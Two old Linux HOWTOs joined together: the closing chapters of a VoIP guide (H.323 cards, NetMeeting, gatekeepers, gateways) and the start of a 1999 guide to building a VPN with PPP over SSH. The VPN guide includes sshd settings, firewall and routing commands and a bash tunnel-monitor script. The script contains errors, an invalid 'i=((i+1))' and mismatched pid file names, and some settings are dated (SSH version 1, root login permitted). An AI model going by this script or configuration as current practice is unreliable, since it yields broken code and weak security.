Attention: all Openh323 source code has to be compiled in a user directory (if not it is necessary to change some environment variable). You are warned that compiling time could be very high and you could need a lot of RAM to make it in a decent time.

5.5 Gateway software

To manage gateway feature (join TCP/IP VoIP to PSTN lines) you need some kind of software like this:

  • Internet SwitchBoard (only when connected to Internet) for Windows systems also acting as a h323 terminal;
  • PSTNGw for Linux and Windows systems you download from OpenH323.

5.6 Gatekeeper software

You can choose as gatekeeper:

  1. Opengatekeeper, you can download from opengatekeeper web site for Linux and Win9x.
  2. Openh323 Gatekeeper (GK) from here.

5.7 Other software

In addition I report some useful software h323 compliant:

  • Phonepatch, able to solve problems behind a NAT firewall. It simply allows users (external or internal) calling from a web page (which is reachable from even external and internal users): when web application understands the remote host is ready, it calls (h323) the source telling it all is ok and communication can be established. Phonepatch is a proprietary software (with also a demo version for no more than 3 minutes long conversations) you download from here.


VoIP Howto: Cards setup

 Next Previous Contents

6. Cards setup

Here we see how to configure special hardware card in Linux and Windows environment.

6.1 Quicknet PhoneJack

As we saw, Quicknet Phonejack is a sound card with VoIP accelerating capability. It supports:

  • G.711 normal and mu/A-law, G.728-9, G.723.1 (TrueSpeech) and LPC10.
  • Phone connector (to allow calling directly from your phone) or
  • Mic & speaker jacks.

Quicknet PhoneJack is a ISA (or PCI) card to install into your Pc box. It can work without an IRQ.

Software installation

Under Windows you have to install:

  1. Card driver
  2. Internet Switchboard application (working only with Internet, using newer Quicknet cards)

all downloadable from Quicknet web site

After Switchboard has been installed, you need to register to Quicknet to obtain full capability of your card.

When you pick up the phone Internet Switchboard wakes up and waits for your calling number (directly entered from your phone), you can:

  1. enter an asterisk, then type an IP number (with asterisks in place of dot) with a # in the end
  2. type directly a PSTN phone number (with international prefix) to call a classic phone user. In this case you need a registration to a gateway manager to which pay for time.
  3. enter directly a quick dial number (up to 2 digits) you have previously stored which make a call (IP or PSTN).

Internet Swichboard is h323 compatible, so if you can use, for example, Microsoft Netmeeting at the other end to talk.

Warning!! Internet Switchboard NEED to be connected to Internet when used with newer Quicknet cards

In place of Internet Switchboard you can use openh323 application openphone (using GUI) or ohphone (command line).

Under Linux you have to install:

  1. Card driver, from Quicknet web site. After downloaded you have to compile it (you must have a /usr/src/linux soft or hard link to your Linux source directory): type make for instructions.
  2. Application openphone or ohphone.
  3. If you are a developer you can use SDK to create your own application (also for Windows).

Settings

With Internet Switchboard (and with other application) you can:

  1. Change compression algorithm preferred
  2. Tune jitter delay
  3. Adjust volume
  4. Adjust echo cancellation level.

6.2 Quicknet LineJack

This card is very similar to the previous, it supports also gateway feature.

We only notice that we have to download PSTNGx application (for Linux and Windows) or we use Internet Switchboard to gateway feature.

6.3 VoiceTronix products

  1. First download software here
  2. Untar it
  3. Modify 'src/vpbreglinux.cpp' according to file README
  4. type 'make'
  5. type 'make install'
  6. cd to src
  7. type 'insmod vpb.o'
  8. retrieve (from console of from 'dmesg' output command) major number, say MAJOR
  9. type 'mknod /dev/vpb0 c MAJOR 0' where MAJOR is the above number
  10. cd to unittest and type './echo'

Follow README file for more help.

I personally haven't tested VoiceTronix products so please contact VoiceTronix web site for support.


VoIP Howto: Setup

 Next Previous Contents

7. Setup

In this chapter we try to setup VoIP system, simple at first, then more and more complex.

7.1 Simple communication: IP to IP

A (Win9x+Sound card)   -  -  -    B (Win9x+Sound card)

     192.168.1.1       -  -  -         192.168.1.2

             192.168.1.1 calls 192.168.1.2.

A and B should:

  1. have Microsoft Netmeeting (or other software) installed and properly configured.
  2. have a network card or other kind of TCP/IP interface to talk each other.

In this kind of view A can make a H323 call to B (if B has Netmeeting active) using B IP address. Then B can answer to it if it wants. After accepting call, VoIP data packets start to pass.

7.2 Using names

If you use Microsoft Windows in a lan you can call the other side using NetBIOS name. NetBIOS is a protocol that can work (stand over) with NetBEUI low level protocol and also with TCP/IP. It is only need to call the "computer name" on the other side to make a connection.

          A            -  -  -             B

     192.168.1.1       -  -  -        192.168.1.2

        John           -  -  -           Alice

                    John calls Alice.

This is possible cause John call request to Alice is converted to IP calling by the NetBIOS protocol.

The above 2 examples are very easy to implement but aren't scalable.

In a more big view such as Internet it is impossible to use direct calling cause, usually, the callers don't know the destination IP address. Furthermore NetBIOS naming feature cannot work cause it uses broadcast messages, which typically don't pass ISP routers .

7.3 Internet calling using a WINS server

The NetBIOS name calling idea can be implemented also in a Internet environment, using a WINS server: NetBIOS clients can be configured to use a WINS server to resolve names.

PCs using the same WINS server will be able to make direct calling between them.

A (WINS Server is S) - - - - I  - - - -  B (WINS Server is S)
                             N
                             T
                             E  - - - - -   S (WINS Server)
C (WINS Server is S) - - - - R
                             N
                             E  - - - -  D (WINS Server is S)
                             T

                   Internet communication

A, B, C and D are in different subnets, but they can call each other in a NetBIOS name calling fashion. The needed is that all are using S as WINS Server.

Note: WINS server hasn't very high performance cause it use NetBIOS feature and should only be used for joining few subnets.

7.4 A big problem: the masquering.

A problem of few IPs is commonly solved using the so called masquering (also NAT, network address translation): there is only 1 IP public address (that Internet can directly "see"), the others machines are "masqueraded" using all this IP.

           A  - - -

           B  - - -   Router with NAT  - - -  Internet

           C  - - -

                       This doesn't work

In the example A,B and C can navigate, pinging, using mail and news services with Internet people, but they CANNOT make a VoIP call. This because H323 protocol send IP address at application level, so the answer will never arrive to source (that is using a private IP address).

Solutions:

  • there is a Linux module that modifies H323 packets avoiding this problem. You can download the module here. To install it you have to copy it to source directory specified, modify Makefile and go compiling and installing module with "modprobe ip_masq_h323". Unfortunately this module cannot work with ohphone software at this moment (I don't know why).

           A  - - -   Router with NAT

           B  - - -         +           - - -  Internet

           C  - - -  ip_masq_h323 module

                         This works

  • There is a application program that also solves this problem: for more see Par 5.7

           A  - - -

           B  - - -    PhonePatch   - - -  Internet

           C  - - -

                         This works

7.5 Using Linux

With Linux (as an h323 terminal) you can experiment everything done before.

Ohphone Sintax

Sintax is:

"ohphone -l|--listen [options]"

"ohphone [options]... address"

  • "-l", listen to standard port (1720)
  • "address", mean that we don't wait for a call, but we connect to "address" host
  • "-n", "--no-gatekeeper", this is ok if we haven't a gatekeeper
  • "-q num", "--quicknet num", it uses Quicknet card, device /dev/phone(num)
  • "-s device", "--sound device", it uses /dev/device sound device.
  • "-j delay", "--jitter delay", it change delay buffer to "delay".

Also, when you start ohphone, you can give command to the interpreter directly (like decrease AEC, Automatic Echo Cancellation).

7.6 Setting up a gatekeeper

You can also experiment gatekeeper feature

Example

        (Terminal H323) A  - - -
                                 \
        (Terminal H323) B  - -  - D (Gatekeeper)
                                 /
        (Terminal H323) C  - - -

                   Gatekeeper configuration

  1. Hosts A,B and C have gatekeeper setting to point to D.
  2. At start time each host tells D own address and own name (also with aliases) which could be used by a caller to reach it.
  3. When a terminal asks D for an host, D answers with right IP address, so communication can be established.

We have to notice that the Gatekeeper is able only to solve name in IP address, it couldn't join hosts that aren't reachable each other (at IP level), in other words it couldn't act as a NAT router.

You can find gatekeeper code here: openh323 library is also required.

Program has only to be launch with -d (as daemon) or -x (execute) parameter.

In addition you can use a config file (.ini) you find here.

7.7 Setting up a gateway

As we said, gateway is an entity that can join VoIP to PSTN lines allowing us to made call from Internet to a classic telephone. So, in addition, we need a card that could manage PSTN lines: Quicknet LineJack does it.

From OpenH323 web site we download:

  1. driver for Linejack
  2. PSTNGw application to create our gateway.

If executable doesn't work you need to download source code and openh323 library, then install all in a home user directory.

After that you only need to launch PSTNGw to start your H323 gateway.

7.8 Compatibility Matrix

First Matrix refers to:

  1. Software intercommunications (i.e. Netmeeting with SwitchBoard)
  2. Software/Driver/Hardware talking (i.e. Netmeeting can use a PhoneJACK card).

 _____________________________________________________________________________________________________________________
|            | Netmeeting |SwitchBoard |  Simph323  |  OhPhone   | LinPhone    |Speak-Freely|HW PhoneJACK|HW LineJACK |
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
| Netmeeting |      V            V            V           V             X            X            V            V
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
|SwitchBoard |      V            V            V           V             X            X            V            V
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
|  Simph323  |      V            V            V           V             X            X            X            X
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
|  OhPhone   |      V            V            V           V             X            X            V            V
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
| LinPhone   |      X            X            X           X             V            X            X            X
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
|SpeakFreely |      X            X            X           X             X            V            X            X
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
|HW PhoneJACK|      V            V            X           V             X            X            _            _
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|
|HW LineJACK |      V            V            X           V             X            X            _            _
|____________|____________|____________|____________|____________|_____________|____________|____________|____________|

Second Matrix refers to Gateway softwares that manage LineJACK card.

 ___________________________________________________________
|              |HW LineJACK GW| SwitchBoard  |    PSTNGW    |
|______________|______________|______________|______________|
|HW LineJACK GW|      _       |      V       |       V      |
|______________|______________|______________|______________|
| SwitchBoard  |      V       |      _       |       _      |
|______________|______________|______________|______________|
|    PSTNGW    |      V       |      _       |       _      |
|______________|______________|______________|______________|

Notation:

  • V : Works
  • X : Doesn't Work
  • -- : Doesn't care


VoIP Howto: Bandwidth consideration

 Next Previous Contents

8. Bandwidth consideration

From all we said before we noticed that we still have not solved problems about bandwidth, how to create a real time streaming of data.

We know we couldn't find a solution unless we enable a right real-time manager protocol in each router we cross, so what do we can do?

First we try to use a very (as more as possible) high rate compression algorithms (like LPC10 which only consumes a 2.5 kbps bandwidth, about 313 bytes/s).

Then we starts classify our packets, in TOS field, with the most high priority level, so every router help us having urgently.

Important: all that is not sufficient to guarantee our conversation would always be ok, but without an great infrastructure managing shaping, bandwidth reservation and so on, it is not possible to do it, TCP/IP is not a real time protocol.

A possible solution could be starts with little WAN at guaranteed bandwidth and get larger step by step.

We finally have to notice a thing: also the so called guaranteed services like PSTN line could not manage all clients they have: for example a GSM call is not able to manage more that some hundred or some thousand of clients.

Anyway for a starting service, limited to few users, VoIP can be a valid alternative to classic PSTN service.


VoIP Howto: Glossary

 Next Previous Contents

9. Glossary

PSTN: Public Switched Telephone Network

VoIP: Voice over Internet Protocol

LAN: Local Area Network

WAN: Wide Area Network

TOS: Type Of Service

ISP: Internet Service Provider

RTP: Real Time Protocol

RSVP: ReSerVation Protocol

QoS: Quality of Service


VoIP Howto: Useful links

 Next Previous Contents

10. Useful links

10.1 Open software link

  • Voxilla
  • Linux Telephony
  • Open H323 web site
  • http://www.gnomemeeting.org/
  • Speak Freely
  • http://www.linphone.org
  • http://osip.atosc.org
  • http://www.gnu.org/software/bayonne

10.2 Commercial link

  • Fatamorgana Computers
  • International Communication Union
  • Voicetronix web site
  • Quicknet Web site
  • Cisco Systems
  • www.metropark.com
  • www.nbxsoftware.com


VPN HOWTO

Matthew D. Wilson, matthew@shinythings.com

v 1.0, Dec 1999

This HOWTO describes how to set up a Virtual Private Network with Linux.

1. Introduction

  • 1.1 Why I wrote this HOWTO
  • 1.2 Acknowledgements and Thanks
  • 1.3 Format of this document
  • 1.4 Copyright and Disclaimer
  • 1.5 Document History
  • 1.6 Related Documents

2. Theory

  • 2.1 What is a VPN?
  • 2.2 SSH and PPP
  • 2.3 Alternative VPN Systems

3. Server

  • 3.1 Security - keeping people out
  • 3.2 User Access - letting people in
  • 3.3 Restricting Users
  • 3.4 Networking

4. Client

  • 4.1 The Kernel
  • 4.2 Bring up the link
  • 4.3 scripting
  • 4.4 LRP - Linux Router Project

5. Implementation

  • 5.1 Planning
  • 5.2 Gather the tools
  • 5.3 Server: Build the kernel
  • 5.4 Server: Configure Networking
  • 5.5 Server: Configure pppd
  • 5.6 Server: Configure sshd
  • 5.7 Server: Set up user accounts
  • 5.8 Server: Administration
  • 5.9 Client: Build the kernel
  • 5.10 Client: Configure Networking
  • 5.11 Client: Configure pppd
  • 5.12 Client: Configure ssh
  • 5.13 Client: Bring up the connection
  • 5.14 Client: Set the routes
  • 5.15 Client: Scripting

6. Addenda

  • 6.1 Pitfalls
  • 6.2 Hardware and Software Requirements


VPN HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Why I wrote this HOWTO

I work Real Networks, and we needed VPN service. This was my first real project, and I truly learned more about Linux with this than with any other task. I ended up using my experience with that project to write this document, to share with others what I learned, so that they can do ultra-nifty things with Linux too!

1.2 Acknowledgements and Thanks

I want to first and foremost thank my wife Julie, without her, I wouldn't be where I am today. I also want to thank Arpad Magosanyi, the author of the first VPN mini-howto and pty-redir, the utility that makes all of this possible. Jerry, Rod, Glen, Mark V., Mark W., and David, You guys rock! Thanks for all your help.

1.3 Format of this document

This document is broken down into 5 sections.

Section 1: Introduction

This section

Section 2: Theory

Basic VPN theory. What is a VPN, and how does it work. Read this if you are entirely new to VPN.

Section 3: Server

This section describes how a VPN server is set up.

Section 4: Client

This section describes how a VPN client is set up.

Section 5: Implementation

A step by step implementation of a sample VPN setup.

Section 6: Addenda

Other bits and pieces of info that you might find helpful.

1.4 Copyright and Disclaimer

Copyright (c) by Matthew Wilson. This document may be distributed only subject to the terms and conditions set forth in the LDP License at http://www.linuxdoc.org/COPYRIGHT.html, except that this document must not be distributed in modified form without the author's consent.

The author assumes no responsibility for anything done with this document, nor does he make any warranty, implied or explicit. If you break it, it's not my fault. Remember, what you do here could make very large holes in the security model of your network. You've been warned.

1.5 Document History

The original VPN mini-HOWTO was written by Arpad Magosanyi in 1997. He has since allowed me to take up the document and extend it into a full HOWTO. All of this would not be possible without his original document. Thanks again Arpad. :)

Version 1.0 of this HOWTO was completed on December 10, 1999.

1.6 Related Documents

  • Networking Overview HOWTO
  • Networking HOWTO
  • VPN-Masquerade HOWTO


VPN HOWTO: Theory

 Next Previous Contents

2. Theory

2.1 What is a VPN?

VPN stands for Virtual Private Network. A VPN uses the Internet as it's transport mechanism, while maintaining the security of the data on the VPN.

But really, what IS a VPN?

Well, there are several answers to that question. It really depends on your network layout. The most common configuration is to have a single main internal network, with remote nodes using VPN to gain full access to the central net. The remote nodes are commonly remote offices or employees working from home. You can also link two smaller (or even larger!) networks to form an even larger single network.

So how does it work?

Put simply, to make a VPN, you create a secure tunnel between the two networks and route IP through it. If I've lost you already, you should read The Linux Networking Overview HOWTO to learn about networking with Linux.

Please bear with me, my ASCII art could use some work.

                                \          \
                 --------       /          /      --------
   Remote ______| Client |______\ Internet \_____| Server |______ Private
   Network      | Router |      /          /     | Router |       Network
                 --------       \          \      --------
                                /          /

                         Client Router
               ----------------------------------------------------
              |   /->    10.0.0.0/255.0.0.0   \                    |
  Remote      |  |-->  172.16.0.0/255.240.0.0  |--> Tunnel >---\   |
  Network >---|--|--> 192.168.0.0/255.255.0.0 /                 |--|----> Internet
 192.168.12.0 |  |                                              |  |
              |   \-----> 0.0.0.0/0.0.0.0 --> IP Masquerade >--/   |
               ----------------------------------------------------

                        Server Router
             ----------------------------------------------------
            |                   /->    10.0.0.0/255.0.0.0    \   |
            |   /--> Tunnel >--|-->  172.16.0.0/255.240.0.0   |--|----> Private
Internet >--|--|                \--> 192.168.0.0/255.255.0.0 /   |      Network
            |  |                                                 |     172.16.0.0/12
            |   \-----> 0.0.0.0/0.0.0.0 -----> /dev/null         |    192.168.0.0/16
             ----------------------------------------------------

The above diagram shows how the network might be set up. If you don't know what IP Masquerade is, you probably shouldn't be here. Go read the The Linux Networking Overview HOWTO and come back once you've figured it out.

The Client Router is a Linux box acting as the gateway/firewall for the remote network. As you can see, the remote network uses the local net 192.168.12.0. For the sake of a simple diagram, I let out the local routing information in the routers. The basic idea is to route traffic for all of the private networks (10.0.0.0, 172.16.0.0, and 192.168.0.0) through the tunnel. The setup shown here is one way. That is, while the remote network can see the private network, the private network cannot necessarily see the remote network. In order for that to happen, you must specify that the routes are bidirectional.

From the diagram you should also note that all of the traffic coming out of the client router appears to be from the client router, that is, it's all from one IP address. You could route real numbers from inside your network but that brings all sorts of security problems with it.

2.2 SSH and PPP

The system that I describe to implement VPN uses SSH and PPP. Basically I use ssh to create a tunnel connection, and then use pppd to run TCP/IP traffic though it. That's what makes up the tunnel.

The real trick to getting ssh and pppd to play well together is the utility written by Arpad Magosanyi that allows the redirection of standard in and standard out to a pseudo tty. This allows pppd to talk through ssh as if it were a serial line. On the server side, pppd is run as the users shell in the ssh session, completing the link. After that, all you need to do is the routing.

2.3 Alternative VPN Systems

There are of course other ways of setting up a VPN, here are a couple of other systems.

PPTP

PPTP is a Microsoft protocol for VPN. It is supported under Linux, but is known to have serious security issues. I do not describe how to use it here since it is covered by the Linux VPN Masquerade HOWTO.

IP Sec

IP Sec is a different set of protocols from SSH. I don't actually know all that much about it, so if someone wants to help me out with a description, I'd be most appreciative. Again, I do not describe how to use it here since it is covered by the Linux VPN Masquerade HOWTO.

CIPE

CIPE is a kernel level network encryption system that may be better suited to enterprise setups. You can find out more about it at the CIPE homepage. I plan on looking into it more, so maybe I'll have info about it here someday.


VPN HOWTO: Server

 Next Previous Contents

3. Server

This section tells you how to set up the server side of things, I figured that this should go first since without a server, your client is kind of useless.

3.1 Security - keeping people out

Security is very important for a VPN. That's why you're building one in the first place, isn't it? You need to keep a few things in mind while setting up your server.

Trim your daemons

Since this server is going to be on both sides of your firewall, and set up to forward traffic into your network, it's a good idea to secure the box as well as you possibly can. You can read up more on Linux security in the Linux Security HOWTO For my purposes, I've killed everything but sshd and a Roxen Web server. I use the web server to download a couple of files (my scripts, etc) for setting up new machines to access the VPN. I don't use an FTP server since it's harder to configure one to be secure than it is to just make a few files available with a web server. Plus, I only need to be able to download files. If you really want to run different servers on your gateway, you might want to think about restricting access to them to only those machines on your private network.

Don't allow passwords

Yes, it sounds kind of silly, but it got your attention, didn't it? No, you don't use passwords, you disable them completely. All authentication on this machine should be done via ssh's public key authentication system. This way, only those with keys can get in, and it's pretty much impossible to remember a binary key that's 530 characters long.

So how do you do that? It requires editing the /etc/passwd file. The second field contains either the password hash, or alternatively 'x' telling the authentication system to look in the /etc/shadow file. What you do is change that field to read '*' instead. This tells the authentication system that there is no password, and that none should be allowed.

Here's how a typical /etc/passwd file looks:

...
nobody:x:65534:100:nobody:/dev/null:
mwilson:x:1000:100:Matthew Wilson,,,:/home/mwilson:/bin/bash
joe:*:504:101:Joe Mode (home),,,:/home/vpn-users:/usr/sbin/pppd
bill:*:504:101:Bill Smith (home),,,:/home/vpn-users:/usr/sbin/pppd
frank:*:504:101:Frank Jones (home),,,:/home/vpn-users:/usr/sbin/pppd
...
Note that I've done more than just editing the second field. I'll say more about the other fields later on.

3.2 User Access - letting people in

User access is done via ssh's authentication scheme. As I've stated above, this is how users get access to the system, while maintaining a high level of security. If you're not familiar with ssh, check out http://www.ssh.org/ Note that I am using ssh version 1, not version 2. There is a big difference, notably that version 1 is free, and 2 isn't.

Configuring sshd

You'll need to configure sshd. The following options should be present. The idea is to disable password authentication and rhosts authentication. The following options should be present in your /etc/sshd_config file.

PermitRootLogin yes
IgnoreRhosts yes
StrictModes yes
QuietMode no
CheckMail no
IdleTimeout 3d
X11Forwarding no
PrintMotd no
KeepAlive yes
RhostsAuthentication no
RhostsRSAAuthentication no
RSAAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
UseLogin no

3.3 Restricting Users

Now that you're keeping the bad people out, and only letting the good people in, you may need to make sure that the good people behave themselves. This is most easily done by not letting them do anything except run pppd. This may or may not be necessary. I restrict users because the system that I maintain is dedicated to VPN, users have no business doing anything else on it.

sudo or not sudo

There is this neat little program called sudo that allows the admin on a Unix system to grant certain users the ability to run certain programs as root. This is necessary in this case since pppd must be run as root. You'll need to use this method if you want to allow users shell access. Read up on how to setup and use sudo in the sudo man page. Using sudo is best on multi-use systems that typically host a small number of trusted users.

If you decide to not allow users to have shell access, then the best way to keep them from gaining it is to make their shell be pppd. This is done in the /etc/passwd file. You can see above that that is what I did for the last three users. The last field of the /etc/passwd file is the user's shell. You needn't do anything special to pppd in order to make it work. It gets executed as root when the user connects. This is certainly the simplest setup to be had, as well as the most secure. It's the ideal for large scale and corporate systems. I describe exactly what all needs to be done later in this document. You can jump ahead if you like.

3.4 Networking

Now that your users have access to the system, we need to make sure that they have access to the network. We do that by using the Linux kernel's firewalling rules and routing tables. Using the route and ipfwadm commands, we can set up the kernel to handle network traffic in the appropriate ways. For more info on ipfwadm, ipchains and route see the Linux Networking HOWTO.

The Kernel

In order for any of this to work, you must have your kernel configured correctly. If you don't know how to build your own kernel, then you should read the Kernel HOWTO. You'll need to make sure that the following kernel options are turned on in addition to basic networking. I use a 2.0.38 kernel in my system.

For 2.0 kernels:

  • CONFIG_FIREWALL
  • CONFIG_IP_FORWARD
  • CONFIG_IP_FIREWALL
  • CONFIG_IP_ROUTER
  • CONFIG_IP_MASQUERADE (optional)
  • CONFIG_IP_MASQUERADE_ICMP (optional)
  • CONFIG_PPP

For 2.2 kernels:

  • CONFIG_FIREWALL
  • CONFIG_IP_ADVANCED_ROUTER
  • CONFIG_IP_FIREWALL
  • CONFIG_IP_ROUTER
  • CONFIG_IP_MASQUERADE (optional)
  • CONFIG_IP_MASQUERADE_ICMP (optional)
  • CONFIG_PPP

Filter Rules

First, we write firewall filter rules that allow our users to access our internal nets, while restricting them from accessing the outside internet. If this sounds wierd, but think about it this way: they already have access to the internet, so why let them use the tunnel to access the net? It wastes both our bandwidth and processor.

The filter rules that we use depend upon which internal nets we use. But basically they say: "Allow traffic coming from our VPNs that is destined for our internal nets to go there." So how do we do that? As always, it depends. If you are running a 2.0 kernel, you use the tool called ipfwadm, if on the other hand you are using a 2.2 kernel, you use the utility called ipchains.

To set the rules with ipfwadm, run it with options similar to the following:

# /sbin/ipfwadm -F -f
# /sbin/ipfwadm -F -p deny
# /sbin/ipfwadm -F -a accept -S 192.168.13.0/24 -D 172.16.0.0/12

To set the rules with ipchains, run it with options similar to the following:

# /sbin/ipchains -F forward
# /sbin/ipchains -P forward DENY
# /sbin/ipchains -A forward -j ACCEPT -s 192.168.13.0/24 -d 172.16.0.0/12

For those using 2.2 kernels, please read this.

Routing

So, now our users are allowed to access our nets, now we need to tell the kernel where to send the packets. On my system, I have two ethernet cards, one is on the external network, while the other is on the internal network. This helps keep things secure, as outbound traffic is masqueraded by our gateway, and any incoming traffic is filtered and routed by our Cisco. For most setups, the routing should be simple.

What we do is route all traffic destined for the private networks out the internal interface, and all other traffic out the external interface. The specific routing commands depend on which internal nets you are using. Below is an example of what they might look like. These lines are of course in addition to your basic routes for your local nets. I also doubt that you are using all 3 groups of internal numbers.

Assuming that 172.16.254.254 is our internal gateway:

# /sbin/route add -net 10.0.0.0 netmask 255.0.0.0 gw 172.16.254.254 dev eth1
# /sbin/route add -net 172.16.0.0 netmask 255.240.0.0 gw 172.16.254.254 dev eth1
# /sbin/route add -net 192.168.0.0 netmask 255.255.0.0 gw 172.16.254.254 dev eth1

One additional note on routing. If you are using two way routing for say, a remote office, then you will need to do one more thing. You'll need to set up routes on the server that point back to the client. The easiest way to accomplish this is to run a cron job every minute that quietly sets back routes. It's not a big deal if the client isn't connected, route will just spit out an error (that you've conveniently sent to /dev/null.)


VPN HOWTO: Client

 Next Previous Contents

4. Client

Now we examine the client end. In practice, when used to allow access to a remote network, this box can easily serve as a Samba (Windows Networking) server, DHCP server, and even an internal web server. The important thing to remember is that this box should be as secure as possible, as it runs your whole remote network.

4.1 The Kernel

First things first, you must have ppp available in your kernel. If you are going to allow multiple machines to use the tunnel, then you need to have firewalling and forwarding available too. If the client is going to be a single machine, ppp is enough.

4.2 Bring up the link

The link is created by running pppd through a pseudo terminal that is created by pty-redir and connected to ssh. This is done with something similar to the following sequence of commands:

# /usr/sbin/pty-redir /usr/bin/ssh -t -e none -o 'Batchmode yes' -c blowfish -i /root/.ssh/identity.vpn -l joe > /tmp/vpn-device
# sleep 10

# /usr/sbin/pppd `cat /tmp/vpn-device`
# sleep 15

# /sbin/route add -net 172.16.0.0 gw vpn-internal.mycompany.com netmask 255.240.0.0
# /sbin/route add -net 192.168.0.0 gw vpn-internal.mycompany.com netmask 255.255.0.0

Simply, what this does is run ssh, redirecting it's input and output to pppd. The options passed to ssh configure it to run without escape characters (-e), using the blowfish crypto algorithm (-c), using the identity file specified (-i), in terminal mode (-t), with the options 'Batchmode yes' (-o). The sleep commands are used to space out the executions of the commands so that each can complete their startup before the next is run.

4.3 scripting

Of course you don't want to have to type those commands in every time that you want to get the tunnel running. I've written a set of bash scripts that keep the tunnel up and running. You can download the package from here. Just download that an uncompress it into /usr/local/vpn. Inside you'll find three files:

  • vpnd: The script that controls the tunnel connection.
  • check-vpnd: a script to be run by cron to check that vpnd is still up.
  • pty-redir: a small executable needed to initialize the tunnel.

You'll need to edit the vpnd script to set things like the client's username and the server's names. You may also need to modify the starttunnel section of the script to specify which networks you are using. Below is a copy of the script for your reading enjoyment. You'll note that you could put the script in a different directory, you just need to change the VPN_DIR variable.

#! /bin/bash
#
# vpnd: Monitor the tunnel, bring it up and down as necessary
#

USERNAME=vpn-username
IDENTITY=/root/.ssh/identity.vpn

VPN_DIR=/usr/local/vpn
LOCK_DIR=/var/run
VPN_EXTERNAL=vpn.mycompany.com
VPN_INTERNAL=vpn-internal.mycompany.com
PTY_REDIR=${VPN_DIR}/pty-redir
SSH=${VPN_DIR}/${VPN_EXTERNAL}
PPPD=/usr/sbin/pppd
ROUTE=/sbin/route
CRYPTO=blowfish
PPP_OPTIONS="noipdefault ipcp-accept-local ipcp-accept-remote local noauth nocrtscts lock nodefaultroute"
ORIG_SSH=/usr/bin/ssh

starttunnel () {
   $PTY_REDIR $SSH -t -e none -o 'Batchmode yes' -c $CRYPTO -i $IDENTITY -l $USERNAME > /tmp/vpn-device
   sleep 15

   $PPPD `cat /tmp/vpn-device` $PPP_OPTIONS
   sleep 15

   # Add routes (modify these lines as necessary)
   /sbin/route add -net 10.0.0.0 gw $VPN_INTERNAL netmask 255.0.0.0
   /sbin/route add -net 172.16.0.0 gw $VPN_INTERNAL netmask 255.240.0.0
   /sbin/route add -net 192.168.0.0 gw $VPN_INTERNAL netmask 255.255.0.0
}

stoptunnel () {
   kill `ps ax | grep $SSH | grep -v grep | awk '{print $1}'`
}

resettunnel () {
   echo "reseting tunnel."
   date >> ${VPN_DIR}/restart.log
   eval stoptunnel
   sleep 5
   eval starttunnel
}

checktunnel () {
   ping -c 4 $VPN_EXTERNAL 2>/dev/null 1>/dev/null

   if [ $? -eq 0 ]; then
      ping -c 4 $VPN_INTERNAL 2>/dev/null 1>/dev/null
      if [ $? -ne 0 ]; then
         eval resettunnel
      fi
   fi
}

settraps () {
   trap "eval stoptunnel; exit 0" INT TERM
   trap "eval resettunnel" HUP
   trap "eval checktunnel" USR1
}

runchecks () {
   if [ -f ${LOCK_DIR}/tunnel.pid ]; then
      OLD_PID=`cat ${LOCK_DIR}/vpnd.pid`
      if [ -d /proc/${OLD_PID} ]; then
         echo "vpnd is already running on process ${OLD_PID}."
         exit 1
      else
         echo "removing stale pid file."
         rm -rf ${LOCK_DIR}/vpnd.pid
         echo $$ > ${LOCK_DIR}/vpnd.pid
         echo "checking tunnel state."
         eval checktunnel
      fi
   else
      echo $$ > ${LOCK_DIR}/vpnd.pid
      eval starttunnel
   fi
}

case $1 in
    check)  if [ -d /proc/`cat ${LOCK_DIR}/vpnd.pid` ]; then
               kill -USR1 `cat ${LOCK_DIR}/vpnd.pid`
               exit 0
            else
               echo "vpnd is not running."
               exit 1
            fi ;;

    reset)  if [ -d /proc/`cat ${LOCK_DIR}/vpnd.pid` ]; then
               kill -HUP `cat ${LOCK_DIR}/vpnd.pid`
               exit 0
            else
               echo "vpnd is not running."
               exit 1
            fi ;;

   --help | -h)
            echo "Usage: vpnd [ check | reset ]"
            echo "Options:"
            echo "     check    Sends running vpnd a USR1 signal, telling it to check"
            echo "              the tunnel state, and restart if neccesary."
            echo "     reset    Sends running vpnd a HUP signal, telling it to reset"
            echo "              it's tunnel connection." ;;
esac

ln -sf $ORIG_SSH $SSH
settraps
runchecks

while true; do
   i=0
   while [ $i -lt 600 ]; do
      i=((i+1))
      sleep 1
   done
   eval checktunnel
done

4.4 LRP - Linux Router Project

I actually run this setup on pentium 90's running the LRP distribution of Linux. LRP is a distribution of Linux that fits in, and boots off of a single floppy disk. You can learn more about it at http://www.linuxrouter.org/ You can download my LRP package for the VPN client from here. You will also need both the ppp and ssh packages from the LRP site.


VPN HOWTO: Implementation

 Next Previous Contents

5. Implementation

In this section, I explain step by step how to set up your VPN system. I'll start with the server, and then move on to the client. For the purposes of an example, I will invent a situation that would require a couple of different kinds of VPN set up.

5.1 Planning

Let's imagine that we have a company, called mycompany.com. At our head office, we are using the 192.168.0.0 reserved network, breaking the class B into 256 class C networks to allow routing. We have just set up two small remote offices, and want to add them to our network. We also want to allow employees who work from home to be able to use their DSL and cable modem connections instead of making them use dialup. To start, we need to plan things out a little.

I decide that I want to give each remote office a class C network range to allow them to expand as necessary. So, I reserve the 192.168.10.0 and 192.168.11.0 nets. I also decide that for home users, I've got enough numbers that I don't need to masquerade them on the VPN server side. Each client gets it's own internal IP. So, I need to reserve another class C for that, say 192.168.40.0. The only thing that I must now do is to add these ranges to my router. Let's imagine that our company owns a small Cisco (192.168.254.254) that handles all of the traffic through our OC1. Just set routes on the Cisco such that traffic headed to these reserved nets goes to our VPN server (192.168.40.254). I put the VPN server into the home user's net for reasons that should become clear later. We'll name the external interface of the server vpn.mycompany.com, and the internal vpn-internal.mycompany.com.

As for external numbers, we don't need to know them explicitly. You should have your own numbers, supplied by your ISP.

5.2 Gather the tools

we're going to need a few pieces of software. Get the following packages, and install them where specified.

For the Server:

  • pppd (version 2.3 or greater)
  • ssh (version 1.2.26 or better)

For the Client:

  • pppd (same version as server)
  • ssh
  • pty-redir

5.3 Server: Build the kernel

